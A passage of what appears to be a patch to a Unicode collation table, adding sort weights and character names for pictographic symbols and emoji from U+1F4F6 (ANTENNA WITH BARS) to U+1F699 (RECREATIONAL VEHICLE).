+1F4F6 ; [*149F.0020.0002] # ANTENNA WITH BARS
+1F4F7 ; [*14A0.0020.0002] # CAMERA
+1F4F8 ; [*14A1.0020.0002] # CAMERA WITH FLASH
+1F4F9 ; [*14A2.0020.0002] # VIDEO CAMERA
+1F4FA ; [*14A3.0020.0002] # TELEVISION
+1F4FB ; [*14A4.0020.0002] # RADIO
+1F4FC ; [*14A5.0020.0002] # VIDEOCASSETTE
+1F4FD ; [*14A6.0020.0002] # FILM PROJECTOR
+1F4FE ; [*14A7.0020.0002] # PORTABLE STEREO
+1F4FF ; [*14A8.0020.0002] # PRAYER BEADS
+1F500 ; [*14A9.0020.0002] # TWISTED RIGHTWARDS ARROWS
+1F501 ; [*14AA.0020.0002] # CLOCKWISE RIGHTWARDS AND LEFTWARDS OPEN CIRCLE ARROWS
+1F502 ; [*14AB.0020.0002] # CLOCKWISE RIGHTWARDS AND LEFTWARDS OPEN CIRCLE ARROWS WITH CIRCLED ONE OVERLAY
+1F503 ; [*14AC.0020.0002] # CLOCKWISE DOWNWARDS AND UPWARDS OPEN CIRCLE ARROWS
+1F504 ; [*14AD.0020.0002] # ANTICLOCKWISE DOWNWARDS AND UPWARDS OPEN CIRCLE ARROWS
+1F505 ; [*14AE.0020.0002] # LOW BRIGHTNESS SYMBOL
+1F506 ; [*14AF.0020.0002] # HIGH BRIGHTNESS SYMBOL
+1F507 ; [*14B0.0020.0002] # SPEAKER WITH CANCELLATION STROKE
+1F508 ; [*14B1.0020.0002] # SPEAKER
+1F509 ; [*14B2.0020.0002] # SPEAKER WITH ONE SOUND WAVE
+1F50A ; [*14B3.0020.0002] # SPEAKER WITH THREE SOUND WAVES
+1F50B ; [*14B4.0020.0002] # BATTERY
+1F50C ; [*14B5.0020.0002] # ELECTRIC PLUG
+1F50D ; [*14B6.0020.0002] # LEFT-POINTING MAGNIFYING GLASS
+1F50E ; [*14B7.0020.0002] # RIGHT-POINTING MAGNIFYING GLASS
+1F50F ; [*14B8.0020.0002] # LOCK WITH INK PEN
+1F510 ; [*14B9.0020.0002] # CLOSED LOCK WITH KEY
+1F511 ; [*14BA.0020.0002] # KEY
+1F512 ; [*14BB.0020.0002] # LOCK
+1F513 ; [*14BC.0020.0002] # OPEN LOCK
+1F514 ; [*14BD.0020.0002] # BELL
+1F515 ; [*14BE.0020.0002] # BELL WITH CANCELLATION STROKE
+1F516 ; [*14BF.0020.0002] # BOOKMARK
+1F517 ; [*14C0.0020.0002] # LINK SYMBOL
+1F518 ; [*14C1.0020.0002] # RADIO BUTTON
+1F519 ; [*14C2.0020.0002] # BACK WITH LEFTWARDS ARROW ABOVE
+1F51A ; [*14C3.0020.0002] # END WITH LEFTWARDS ARROW ABOVE
+1F51B ; [*14C4.0020.0002] # ON WITH EXCLAMATION MARK WITH LEFT RIGHT ARROW ABOVE
+1F51C ; [*14C5.0020.0002] # SOON WITH RIGHTWARDS ARROW ABOVE
+1F51D ; [*14C6.0020.0002] # TOP WITH UPWARDS ARROW ABOVE
+1F51E ; [*14C7.0020.0002] # NO ONE UNDER EIGHTEEN SYMBOL
+1F51F ; [*14C8.0020.0002] # KEYCAP TEN
+1F520 ; [*14C9.0020.0002] # INPUT SYMBOL FOR LATIN CAPITAL LETTERS
+1F521 ; [*14CA.0020.0002] # INPUT SYMBOL FOR LATIN SMALL LETTERS
+1F522 ; [*14CB.0020.0002] # INPUT SYMBOL FOR NUMBERS
+1F523 ; [*14CC.0020.0002] # INPUT SYMBOL FOR SYMBOLS
+1F524 ; [*14CD.0020.0002] # INPUT SYMBOL FOR LATIN LETTERS
+1F525 ; [*14CE.0020.0002] # FIRE
+1F526 ; [*14CF.0020.0002] # ELECTRIC TORCH
+1F527 ; [*14D0.0020.0002] # WRENCH
+1F528 ; [*14D1.0020.0002] # HAMMER
+1F529 ; [*14D2.0020.0002] # NUT AND BOLT
+1F52A ; [*14D3.0020.0002] # HOCHO
+1F52B ; [*14D4.0020.0002] # PISTOL
+1F52C ; [*14D5.0020.0002] # MICROSCOPE
+1F52D ; [*14D6.0020.0002] # TELESCOPE
+1F52E ; [*14D7.0020.0002] # CRYSTAL BALL
+1F52F ; [*14D8.0020.0002] # SIX POINTED STAR WITH MIDDLE DOT
+1F530 ; [*14D9.0020.0002] # JAPANESE SYMBOL FOR BEGINNER
+1F531 ; [*14DA.0020.0002] # TRIDENT EMBLEM
+1F532 ; [*14DB.0020.0002] # BLACK SQUARE BUTTON
+1F533 ; [*14DC.0020.0002] # WHITE SQUARE BUTTON
+1F534 ; [*14DD.0020.0002] # LARGE RED CIRCLE
+1F535 ; [*14DE.0020.0002] # LARGE BLUE CIRCLE
+1F536 ; [*14DF.0020.0002] # LARGE ORANGE DIAMOND
+1F537 ; [*14E0.0020.0002] # LARGE BLUE DIAMOND
+1F538 ; [*14E1.0020.0002] # SMALL ORANGE DIAMOND
+1F539 ; [*14E2.0020.0002] # SMALL BLUE DIAMOND
+1F53A ; [*14E3.0020.0002] # UP-POINTING RED TRIANGLE
+1F53B ; [*14E4.0020.0002] # DOWN-POINTING RED TRIANGLE
+1F53C ; [*14E5.0020.0002] # UP-POINTING SMALL RED TRIANGLE
+1F53D ; [*14E6.0020.0002] # DOWN-POINTING SMALL RED TRIANGLE
+1F53E ; [*14E7.0020.0002] # LOWER RIGHT SHADOWED WHITE CIRCLE
+1F53F ; [*14E8.0020.0002] # UPPER RIGHT SHADOWED WHITE CIRCLE
+1F540 ; [*14E9.0020.0002] # CIRCLED CROSS POMMEE
+1F541 ; [*14EA.0020.0002] # CROSS POMMEE WITH HALF-CIRCLE BELOW
+1F542 ; [*14EB.0020.0002] # CROSS POMMEE
+1F543 ; [*14EC.0020.0002] # NOTCHED LEFT SEMICIRCLE WITH THREE DOTS
+1F544 ; [*14ED.0020.0002] # NOTCHED RIGHT SEMICIRCLE WITH THREE DOTS
+1F545 ; [*14EE.0020.0002] # SYMBOL FOR MARKS CHAPTER
+1F546 ; [*14EF.0020.0002] # WHITE LATIN CROSS
+1F547 ; [*14F0.0020.0002] # HEAVY LATIN CROSS
+1F548 ; [*14F1.0020.0002] # CELTIC CROSS
+1F549 ; [*14F2.0020.0002] # OM SYMBOL
+1F54A ; [*14F3.0020.0002] # DOVE OF PEACE
+1F54B ; [*14F4.0020.0002] # KAABA
+1F54C ; [*14F5.0020.0002] # MOSQUE
+1F54D ; [*14F6.0020.0002] # SYNAGOGUE
+1F54E ; [*14F7.0020.0002] # MENORAH WITH NINE BRANCHES
+1F54F ; [*14F8.0020.0002] # BOWL OF HYGIEIA
+1F550 ; [*14F9.0020.0002] # CLOCK FACE ONE OCLOCK
+1F551 ; [*14FA.0020.0002] # CLOCK FACE TWO OCLOCK
+1F552 ; [*14FB.0020.0002] # CLOCK FACE THREE OCLOCK
+1F553 ; [*14FC.0020.0002] # CLOCK FACE FOUR OCLOCK
+1F554 ; [*14FD.0020.0002] # CLOCK FACE FIVE OCLOCK
+1F555 ; [*14FE.0020.0002] # CLOCK FACE SIX OCLOCK
+1F556 ; [*14FF.0020.0002] # CLOCK FACE SEVEN OCLOCK
+1F557 ; [*1500.0020.0002] # CLOCK FACE EIGHT OCLOCK
+1F558 ; [*1501.0020.0002] # CLOCK FACE NINE OCLOCK
+1F559 ; [*1502.0020.0002] # CLOCK FACE TEN OCLOCK
+1F55A ; [*1503.0020.0002] # CLOCK FACE ELEVEN OCLOCK
+1F55B ; [*1504.0020.0002] # CLOCK FACE TWELVE OCLOCK
+1F55C ; [*1505.0020.0002] # CLOCK FACE ONE-THIRTY
+1F55D ; [*1506.0020.0002] # CLOCK FACE TWO-THIRTY
+1F55E ; [*1507.0020.0002] # CLOCK FACE THREE-THIRTY
+1F55F ; [*1508.0020.0002] # CLOCK FACE FOUR-THIRTY
+1F560 ; [*1509.0020.0002] # CLOCK FACE FIVE-THIRTY
+1F561 ; [*150A.0020.0002] # CLOCK FACE SIX-THIRTY
+1F562 ; [*150B.0020.0002] # CLOCK FACE SEVEN-THIRTY
+1F563 ; [*150C.0020.0002] # CLOCK FACE EIGHT-THIRTY
+1F564 ; [*150D.0020.0002] # CLOCK FACE NINE-THIRTY
+1F565 ; [*150E.0020.0002] # CLOCK FACE TEN-THIRTY
+1F566 ; [*150F.0020.0002] # CLOCK FACE ELEVEN-THIRTY
+1F567 ; [*1510.0020.0002] # CLOCK FACE TWELVE-THIRTY
+1F568 ; [*1511.0020.0002] # RIGHT SPEAKER
+1F569 ; [*1512.0020.0002] # RIGHT SPEAKER WITH ONE SOUND WAVE
+1F56A ; [*1513.0020.0002] # RIGHT SPEAKER WITH THREE SOUND WAVES
+1F56B ; [*1514.0020.0002] # BULLHORN
+1F56C ; [*1515.0020.0002] # BULLHORN WITH SOUND WAVES
+1F56D ; [*1516.0020.0002] # RINGING BELL
+1F56E ; [*1517.0020.0002] # BOOK
+1F56F ; [*1518.0020.0002] # CANDLE
+1F570 ; [*1519.0020.0002] # MANTELPIECE CLOCK
+1F571 ; [*151A.0020.0002] # BLACK SKULL AND CROSSBONES
+1F572 ; [*151B.0020.0002] # NO PIRACY
+1F573 ; [*151C.0020.0002] # HOLE
+1F574 ; [*151D.0020.0002] # MAN IN BUSINESS SUIT LEVITATING
+1F575 ; [*151E.0020.0002] # SLEUTH OR SPY
+1F576 ; [*151F.0020.0002] # DARK SUNGLASSES
+1F577 ; [*1520.0020.0002] # SPIDER
+1F578 ; [*1521.0020.0002] # SPIDER WEB
+1F579 ; [*1522.0020.0002] # JOYSTICK
+1F57A ; [*1523.0020.0002] # MAN DANCING
+1F57B ; [*1524.0020.0002] # LEFT HAND TELEPHONE RECEIVER
+1F57C ; [*1525.0020.0002] # TELEPHONE RECEIVER WITH PAGE
+1F57D ; [*1526.0020.0002] # RIGHT HAND TELEPHONE RECEIVER
+1F57E ; [*1527.0020.0002] # WHITE TOUCHTONE TELEPHONE
+1F57F ; [*1528.0020.0002] # BLACK TOUCHTONE TELEPHONE
+1F580 ; [*1529.0020.0002] # TELEPHONE ON TOP OF MODEM
+1F581 ; [*152A.0020.0002] # CLAMSHELL MOBILE PHONE
+1F582 ; [*152B.0020.0002] # BACK OF ENVELOPE
+1F583 ; [*152C.0020.0002] # STAMPED ENVELOPE
+1F584 ; [*152D.0020.0002] # ENVELOPE WITH LIGHTNING
+1F585 ; [*152E.0020.0002] # FLYING ENVELOPE
+1F586 ; [*152F.0020.0002] # PEN OVER STAMPED ENVELOPE
+1F587 ; [*1530.0020.0002] # LINKED PAPERCLIPS
+1F588 ; [*1531.0020.0002] # BLACK PUSHPIN
+1F589 ; [*1532.0020.0002] # LOWER LEFT PENCIL
+1F58A ; [*1533.0020.0002] # LOWER LEFT BALLPOINT PEN
+1F58B ; [*1534.0020.0002] # LOWER LEFT FOUNTAIN PEN
+1F58C ; [*1535.0020.0002] # LOWER LEFT PAINTBRUSH
+1F58D ; [*1536.0020.0002] # LOWER LEFT CRAYON
+1F58E ; [*1537.0020.0002] # LEFT WRITING HAND
+1F58F ; [*1538.0020.0002] # TURNED OK HAND SIGN
+1F590 ; [*1539.0020.0002] # RAISED HAND WITH FINGERS SPLAYED
+1F591 ; [*153A.0020.0002] # REVERSED RAISED HAND WITH FINGERS SPLAYED
+1F592 ; [*153B.0020.0002] # REVERSED THUMBS UP SIGN
+1F593 ; [*153C.0020.0002] # REVERSED THUMBS DOWN SIGN
+1F594 ; [*153D.0020.0002] # REVERSED VICTORY HAND
+1F595 ; [*153E.0020.0002] # REVERSED HAND WITH MIDDLE FINGER EXTENDED
+1F596 ; [*153F.0020.0002] # RAISED HAND WITH PART BETWEEN MIDDLE AND RING FINGERS
+1F597 ; [*1540.0020.0002] # WHITE DOWN POINTING LEFT HAND INDEX
+1F598 ; [*1541.0020.0002] # SIDEWAYS WHITE LEFT POINTING INDEX
+1F599 ; [*1542.0020.0002] # SIDEWAYS WHITE RIGHT POINTING INDEX
+1F59A ; [*1543.0020.0002] # SIDEWAYS BLACK LEFT POINTING INDEX
+1F59B ; [*1544.0020.0002] # SIDEWAYS BLACK RIGHT POINTING INDEX
+1F59C ; [*1545.0020.0002] # BLACK LEFT POINTING BACKHAND INDEX
+1F59D ; [*1546.0020.0002] # BLACK RIGHT POINTING BACKHAND INDEX
+1F59E ; [*1547.0020.0002] # SIDEWAYS WHITE UP POINTING INDEX
+1F59F ; [*1548.0020.0002] # SIDEWAYS WHITE DOWN POINTING INDEX
+1F5A0 ; [*1549.0020.0002] # SIDEWAYS BLACK UP POINTING INDEX
+1F5A1 ; [*154A.0020.0002] # SIDEWAYS BLACK DOWN POINTING INDEX
+1F5A2 ; [*154B.0020.0002] # BLACK UP POINTING BACKHAND INDEX
+1F5A3 ; [*154C.0020.0002] # BLACK DOWN POINTING BACKHAND INDEX
+1F5A4 ; [*154D.0020.0002] # BLACK HEART
+1F5A5 ; [*154E.0020.0002] # DESKTOP COMPUTER
+1F5A6 ; [*154F.0020.0002] # KEYBOARD AND MOUSE
+1F5A7 ; [*1550.0020.0002] # THREE NETWORKED COMPUTERS
+1F5A8 ; [*1551.0020.0002] # PRINTER
+1F5A9 ; [*1552.0020.0002] # POCKET CALCULATOR
+1F5AA ; [*1553.0020.0002] # BLACK HARD SHELL FLOPPY DISK
+1F5AB ; [*1554.0020.0002] # WHITE HARD SHELL FLOPPY DISK
+1F5AC ; [*1555.0020.0002] # SOFT SHELL FLOPPY DISK
+1F5AD ; [*1556.0020.0002] # TAPE CARTRIDGE
+1F5AE ; [*1557.0020.0002] # WIRED KEYBOARD
+1F5AF ; [*1558.0020.0002] # ONE BUTTON MOUSE
+1F5B0 ; [*1559.0020.0002] # TWO BUTTON MOUSE
+1F5B1 ; [*155A.0020.0002] # THREE BUTTON MOUSE
+1F5B2 ; [*155B.0020.0002] # TRACKBALL
+1F5B3 ; [*155C.0020.0002] # OLD PERSONAL COMPUTER
+1F5B4 ; [*155D.0020.0002] # HARD DISK
+1F5B5 ; [*155E.0020.0002] # SCREEN
+1F5B6 ; [*155F.0020.0002] # PRINTER ICON
+1F5B7 ; [*1560.0020.0002] # FAX ICON
+1F5B8 ; [*1561.0020.0002] # OPTICAL DISC ICON
+1F5B9 ; [*1562.0020.0002] # DOCUMENT WITH TEXT
+1F5BA ; [*1563.0020.0002] # DOCUMENT WITH TEXT AND PICTURE
+1F5BB ; [*1564.0020.0002] # DOCUMENT WITH PICTURE
+1F5BC ; [*1565.0020.0002] # FRAME WITH PICTURE
+1F5BD ; [*1566.0020.0002] # FRAME WITH TILES
+1F5BE ; [*1567.0020.0002] # FRAME WITH AN X
+1F5BF ; [*1568.0020.0002] # BLACK FOLDER
+1F5C0 ; [*1569.0020.0002] # FOLDER
+1F5C1 ; [*156A.0020.0002] # OPEN FOLDER
+1F5C2 ; [*156B.0020.0002] # CARD INDEX DIVIDERS
+1F5C3 ; [*156C.0020.0002] # CARD FILE BOX
+1F5C4 ; [*156D.0020.0002] # FILE CABINET
+1F5C5 ; [*156E.0020.0002] # EMPTY NOTE
+1F5C6 ; [*156F.0020.0002] # EMPTY NOTE PAGE
+1F5C7 ; [*1570.0020.0002] # EMPTY NOTE PAD
+1F5C8 ; [*1571.0020.0002] # NOTE
+1F5C9 ; [*1572.0020.0002] # NOTE PAGE
+1F5CA ; [*1573.0020.0002] # NOTE PAD
+1F5CB ; [*1574.0020.0002] # EMPTY DOCUMENT
+1F5CC ; [*1575.0020.0002] # EMPTY PAGE
+1F5CD ; [*1576.0020.0002] # EMPTY PAGES
+1F5CE ; [*1577.0020.0002] # DOCUMENT
+1F5CF ; [*1578.0020.0002] # PAGE
+1F5D0 ; [*1579.0020.0002] # PAGES
+1F5D1 ; [*157A.0020.0002] # WASTEBASKET
+1F5D2 ; [*157B.0020.0002] # SPIRAL NOTE PAD
+1F5D3 ; [*157C.0020.0002] # SPIRAL CALENDAR PAD
+1F5D4 ; [*157D.0020.0002] # DESKTOP WINDOW
+1F5D5 ; [*157E.0020.0002] # MINIMIZE
+1F5D6 ; [*157F.0020.0002] # MAXIMIZE
+1F5D7 ; [*1580.0020.0002] # OVERLAP
+1F5D8 ; [*1581.0020.0002] # CLOCKWISE RIGHT AND LEFT SEMICIRCLE ARROWS
+1F5D9 ; [*1582.0020.0002] # CANCELLATION X
+1F5DA ; [*1583.0020.0002] # INCREASE FONT SIZE SYMBOL
+1F5DB ; [*1584.0020.0002] # DECREASE FONT SIZE SYMBOL
+1F5DC ; [*1585.0020.0002] # COMPRESSION
+1F5DD ; [*1586.0020.0002] # OLD KEY
+1F5DE ; [*1587.0020.0002] # ROLLED-UP NEWSPAPER
+1F5DF ; [*1588.0020.0002] # PAGE WITH CIRCLED TEXT
+1F5E0 ; [*1589.0020.0002] # STOCK CHART
+1F5E1 ; [*158A.0020.0002] # DAGGER KNIFE
+1F5E2 ; [*158B.0020.0002] # LIPS
+1F5E3 ; [*158C.0020.0002] # SPEAKING HEAD IN SILHOUETTE
+1F5E4 ; [*158D.0020.0002] # THREE RAYS ABOVE
+1F5E5 ; [*158E.0020.0002] # THREE RAYS BELOW
+1F5E6 ; [*158F.0020.0002] # THREE RAYS LEFT
+1F5E7 ; [*1590.0020.0002] # THREE RAYS RIGHT
+1F5E8 ; [*1591.0020.0002] # LEFT SPEECH BUBBLE
+1F5E9 ; [*1592.0020.0002] # RIGHT SPEECH BUBBLE
+1F5EA ; [*1593.0020.0002] # TWO SPEECH BUBBLES
+1F5EB ; [*1594.0020.0002] # THREE SPEECH BUBBLES
+1F5EC ; [*1595.0020.0002] # LEFT THOUGHT BUBBLE
+1F5ED ; [*1596.0020.0002] # RIGHT THOUGHT BUBBLE
+1F5EE ; [*1597.0020.0002] # LEFT ANGER BUBBLE
+1F5EF ; [*1598.0020.0002] # RIGHT ANGER BUBBLE
+1F5F0 ; [*1599.0020.0002] # MOOD BUBBLE
+1F5F1 ; [*159A.0020.0002] # LIGHTNING MOOD BUBBLE
+1F5F2 ; [*159B.0020.0002] # LIGHTNING MOOD
+1F5F3 ; [*159C.0020.0002] # BALLOT BOX WITH BALLOT
+1F5F4 ; [*159D.0020.0002] # BALLOT SCRIPT X
+1F5F5 ; [*159E.0020.0002] # BALLOT BOX WITH SCRIPT X
+1F5F6 ; [*159F.0020.0002] # BALLOT BOLD SCRIPT X
+1F5F7 ; [*15A0.0020.0002] # BALLOT BOX WITH BOLD SCRIPT X
+1F5F8 ; [*15A1.0020.0002] # LIGHT CHECK MARK
+1F5F9 ; [*15A2.0020.0002] # BALLOT BOX WITH BOLD CHECK
+1F5FA ; [*15A3.0020.0002] # WORLD MAP
+1F5FB ; [*15A4.0020.0002] # MOUNT FUJI
+1F5FC ; [*15A5.0020.0002] # TOKYO TOWER
+1F5FD ; [*15A6.0020.0002] # STATUE OF LIBERTY
+1F5FE ; [*15A7.0020.0002] # SILHOUETTE OF JAPAN
+1F5FF ; [*15A8.0020.0002] # MOYAI
+1F600 ; [*15FB.0020.0002] # GRINNING FACE
+1F601 ; [*15FC.0020.0002] # GRINNING FACE WITH SMILING EYES
+1F602 ; [*15FD.0020.0002] # FACE WITH TEARS OF JOY
+1F603 ; [*15FE.0020.0002] # SMILING FACE WITH OPEN MOUTH
+1F604 ; [*15FF.0020.0002] # SMILING FACE WITH OPEN MOUTH AND SMILING EYES
+1F605 ; [*1600.0020.0002] # SMILING FACE WITH OPEN MOUTH AND COLD SWEAT
+1F606 ; [*1601.0020.0002] # SMILING FACE WITH OPEN MOUTH AND TIGHTLY-CLOSED EYES
+1F607 ; [*1602.0020.0002] # SMILING FACE WITH HALO
+1F608 ; [*1603.0020.0002] # SMILING FACE WITH HORNS
+1F609 ; [*1604.0020.0002] # WINKING FACE
+1F60A ; [*1605.0020.0002] # SMILING FACE WITH SMILING EYES
+1F60B ; [*1606.0020.0002] # FACE SAVOURING DELICIOUS FOOD
+1F60C ; [*1607.0020.0002] # RELIEVED FACE
+1F60D ; [*1608.0020.0002] # SMILING FACE WITH HEART-SHAPED EYES
+1F60E ; [*1609.0020.0002] # SMILING FACE WITH SUNGLASSES
+1F60F ; [*160A.0020.0002] # SMIRKING FACE
+1F610 ; [*160B.0020.0002] # NEUTRAL FACE
+1F611 ; [*160C.0020.0002] # EXPRESSIONLESS FACE
+1F612 ; [*160D.0020.0002] # UNAMUSED FACE
+1F613 ; [*160E.0020.0002] # FACE WITH COLD SWEAT
+1F614 ; [*160F.0020.0002] # PENSIVE FACE
+1F615 ; [*1610.0020.0002] # CONFUSED FACE
+1F616 ; [*1611.0020.0002] # CONFOUNDED FACE
+1F617 ; [*1612.0020.0002] # KISSING FACE
+1F618 ; [*1613.0020.0002] # FACE THROWING A KISS
+1F619 ; [*1614.0020.0002] # KISSING FACE WITH SMILING EYES
+1F61A ; [*1615.0020.0002] # KISSING FACE WITH CLOSED EYES
+1F61B ; [*1616.0020.0002] # FACE WITH STUCK-OUT TONGUE
+1F61C ; [*1617.0020.0002] # FACE WITH STUCK-OUT TONGUE AND WINKING EYE
+1F61D ; [*1618.0020.0002] # FACE WITH STUCK-OUT TONGUE AND TIGHTLY-CLOSED EYES
+1F61E ; [*1619.0020.0002] # DISAPPOINTED FACE
+1F61F ; [*161A.0020.0002] # WORRIED FACE
+1F620 ; [*161B.0020.0002] # ANGRY FACE
+1F621 ; [*161C.0020.0002] # POUTING FACE
+1F622 ; [*161D.0020.0002] # CRYING FACE
+1F623 ; [*161E.0020.0002] # PERSEVERING FACE
+1F624 ; [*161F.0020.0002] # FACE WITH LOOK OF TRIUMPH
+1F625 ; [*1620.0020.0002] # DISAPPOINTED BUT RELIEVED FACE
+1F626 ; [*1621.0020.0002] # FROWNING FACE WITH OPEN MOUTH
+1F627 ; [*1622.0020.0002] # ANGUISHED FACE
+1F628 ; [*1623.0020.0002] # FEARFUL FACE
+1F629 ; [*1624.0020.0002] # WEARY FACE
+1F62A ; [*1625.0020.0002] # SLEEPY FACE
+1F62B ; [*1626.0020.0002] # TIRED FACE
+1F62C ; [*1627.0020.0002] # GRIMACING FACE
+1F62D ; [*1628.0020.0002] # LOUDLY CRYING FACE
+1F62E ; [*1629.0020.0002] # FACE WITH OPEN MOUTH
+1F62F ; [*162A.0020.0002] # HUSHED FACE
+1F630 ; [*162B.0020.0002] # FACE WITH OPEN MOUTH AND COLD SWEAT
+1F631 ; [*162C.0020.0002] # FACE SCREAMING IN FEAR
+1F632 ; [*162D.0020.0002] # ASTONISHED FACE
+1F633 ; [*162E.0020.0002] # FLUSHED FACE
+1F634 ; [*162F.0020.0002] # SLEEPING FACE
+1F635 ; [*1630.0020.0002] # DIZZY FACE
+1F636 ; [*1631.0020.0002] # FACE WITHOUT MOUTH
+1F637 ; [*1632.0020.0002] # FACE WITH MEDICAL MASK
+1F638 ; [*1633.0020.0002] # GRINNING CAT FACE WITH SMILING EYES
+1F639 ; [*1634.0020.0002] # CAT FACE WITH TEARS OF JOY
+1F63A ; [*1635.0020.0002] # SMILING CAT FACE WITH OPEN MOUTH
+1F63B ; [*1636.0020.0002] # SMILING CAT FACE WITH HEART-SHAPED EYES
+1F63C ; [*1637.0020.0002] # CAT FACE WITH WRY SMILE
+1F63D ; [*1638.0020.0002] # KISSING CAT FACE WITH CLOSED EYES
+1F63E ; [*1639.0020.0002] # POUTING CAT FACE
+1F63F ; [*163A.0020.0002] # CRYING CAT FACE
+1F640 ; [*163B.0020.0002] # WEARY CAT FACE
+1F641 ; [*163C.0020.0002] # SLIGHTLY FROWNING FACE
+1F642 ; [*163D.0020.0002] # SLIGHTLY SMILING FACE
+1F643 ; [*163E.0020.0002] # UPSIDE-DOWN FACE
+1F644 ; [*163F.0020.0002] # FACE WITH ROLLING EYES
+1F645 ; [*1640.0020.0002] # FACE WITH NO GOOD GESTURE
+1F646 ; [*1641.0020.0002] # FACE WITH OK GESTURE
+1F647 ; [*1642.0020.0002] # PERSON BOWING DEEPLY
+1F648 ; [*1643.0020.0002] # SEE-NO-EVIL MONKEY
+1F649 ; [*1644.0020.0002] # HEAR-NO-EVIL MONKEY
+1F64A ; [*1645.0020.0002] # SPEAK-NO-EVIL MONKEY
+1F64B ; [*1646.0020.0002] # HAPPY PERSON RAISING ONE HAND
+1F64C ; [*1647.0020.0002] # PERSON RAISING BOTH HANDS IN CELEBRATION
+1F64D ; [*1648.0020.0002] # PERSON FROWNING
+1F64E ; [*1649.0020.0002] # PERSON WITH POUTING FACE
+1F64F ; [*164A.0020.0002] # PERSON WITH FOLDED HANDS
+1F650 ; [*164B.0020.0002] # NORTH WEST POINTING LEAF
+1F651 ; [*164C.0020.0002] # SOUTH WEST POINTING LEAF
+1F652 ; [*164D.0020.0002] # NORTH EAST POINTING LEAF
+1F653 ; [*164E.0020.0002] # SOUTH EAST POINTING LEAF
+1F654 ; [*164F.0020.0002] # TURNED NORTH WEST POINTING LEAF
+1F655 ; [*1650.0020.0002] # TURNED SOUTH WEST POINTING LEAF
+1F656 ; [*1651.0020.0002] # TURNED NORTH EAST POINTING LEAF
+1F657 ; [*1652.0020.0002] # TURNED SOUTH EAST POINTING LEAF
+1F658 ; [*1653.0020.0002] # NORTH WEST POINTING VINE LEAF
+1F659 ; [*1654.0020.0002] # SOUTH WEST POINTING VINE LEAF
+1F65A ; [*1655.0020.0002] # NORTH EAST POINTING VINE LEAF
+1F65B ; [*1656.0020.0002] # SOUTH EAST POINTING VINE LEAF
+1F65C ; [*1657.0020.0002] # HEAVY NORTH WEST POINTING VINE LEAF
+1F65D ; [*1658.0020.0002] # HEAVY SOUTH WEST POINTING VINE LEAF
+1F65E ; [*1659.0020.0002] # HEAVY NORTH EAST POINTING VINE LEAF
+1F65F ; [*165A.0020.0002] # HEAVY SOUTH EAST POINTING VINE LEAF
+1F660 ; [*165B.0020.0002] # NORTH WEST POINTING BUD
+1F661 ; [*165C.0020.0002] # SOUTH WEST POINTING BUD
+1F662 ; [*165D.0020.0002] # NORTH EAST POINTING BUD
+1F663 ; [*165E.0020.0002] # SOUTH EAST POINTING BUD
+1F664 ; [*165F.0020.0002] # HEAVY NORTH WEST POINTING BUD
+1F665 ; [*1660.0020.0002] # HEAVY SOUTH WEST POINTING BUD
+1F666 ; [*1661.0020.0002] # HEAVY NORTH EAST POINTING BUD
+1F667 ; [*1662.0020.0002] # HEAVY SOUTH EAST POINTING BUD
+1F668 ; [*1663.0020.0002] # HOLLOW QUILT SQUARE ORNAMENT
+1F669 ; [*1664.0020.0002] # HOLLOW QUILT SQUARE ORNAMENT IN BLACK SQUARE
+1F66A ; [*1665.0020.0002] # SOLID QUILT SQUARE ORNAMENT
+1F66B ; [*1666.0020.0002] # SOLID QUILT SQUARE ORNAMENT IN BLACK SQUARE
+1F66C ; [*1667.0020.0002] # LEFTWARDS ROCKET
+1F66D ; [*1668.0020.0002] # UPWARDS ROCKET
+1F66E ; [*1669.0020.0002] # RIGHTWARDS ROCKET
+1F66F ; [*166A.0020.0002] # DOWNWARDS ROCKET
+1F670 ; [*166B.0020.0002] # SCRIPT LIGATURE ET ORNAMENT
+1F671 ; [*166C.0020.0002] # HEAVY SCRIPT LIGATURE ET ORNAMENT
+1F672 ; [*166D.0020.0002] # LIGATURE OPEN ET ORNAMENT
+1F673 ; [*166E.0020.0002] # HEAVY LIGATURE OPEN ET ORNAMENT
+1F674 ; [*166F.0020.0002] # HEAVY AMPERSAND ORNAMENT
+1F675 ; [*1670.0020.0002] # SWASH AMPERSAND ORNAMENT
+1F676 ; [*1671.0020.0002] # SANS-SERIF HEAVY DOUBLE TURNED COMMA QUOTATION MARK ORNAMENT
+1F677 ; [*1672.0020.0002] # SANS-SERIF HEAVY DOUBLE COMMA QUOTATION MARK ORNAMENT
+1F678 ; [*1673.0020.0002] # SANS-SERIF HEAVY LOW DOUBLE COMMA QUOTATION MARK ORNAMENT
+1F679 ; [*1674.0020.0002] # HEAVY INTERROBANG ORNAMENT
+1F67A ; [*1675.0020.0002] # SANS-SERIF INTERROBANG ORNAMENT
+1F67B ; [*1676.0020.0002] # HEAVY SANS-SERIF INTERROBANG ORNAMENT
+1F67C ; [*1677.0020.0002] # VERY HEAVY SOLIDUS
+1F67D ; [*1678.0020.0002] # VERY HEAVY REVERSE SOLIDUS
+1F67E ; [*1679.0020.0002] # CHECKER BOARD
+1F67F ; [*167A.0020.0002] # REVERSE CHECKER BOARD
+1F680 ; [*167B.0020.0002] # ROCKET
+1F681 ; [*167C.0020.0002] # HELICOPTER
+1F682 ; [*167D.0020.0002] # STEAM LOCOMOTIVE
+1F683 ; [*167E.0020.0002] # RAILWAY CAR
+1F684 ; [*167F.0020.0002] # HIGH-SPEED TRAIN
+1F685 ; [*1680.0020.0002] # HIGH-SPEED TRAIN WITH BULLET NOSE
+1F686 ; [*1681.0020.0002] # TRAIN
+1F687 ; [*1682.0020.0002] # METRO
+1F688 ; [*1683.0020.0002] # LIGHT RAIL
+1F689 ; [*1684.0020.0002] # STATION
+1F68A ; [*1685.0020.0002] # TRAM
+1F68B ; [*1686.0020.0002] # TRAM CAR
+1F68C ; [*1687.0020.0002] # BUS
+1F68D ; [*1688.0020.0002] # ONCOMING BUS
+1F68E ; [*1689.0020.0002] # TROLLEYBUS
+1F68F ; [*168A.0020.0002] # BUS STOP
+1F690 ; [*168B.0020.0002] # MINIBUS
+1F691 ; [*168C.0020.0002] # AMBULANCE
+1F692 ; [*168D.0020.0002] # FIRE ENGINE
+1F693 ; [*168E.0020.0002] # POLICE CAR
+1F694 ; [*168F.0020.0002] # ONCOMING POLICE CAR
+1F695 ; [*1690.0020.0002] # TAXI
+1F696 ; [*1691.0020.0002] # ONCOMING TAXI
+1F697 ; [*1692.0020.0002] # AUTOMOBILE
+1F698 ; [*1693.0020.0002] # ONCOMING AUTOMOBILE
+1F699 ; [*1694.0020.0002] # RECREATIONAL VEHICLE
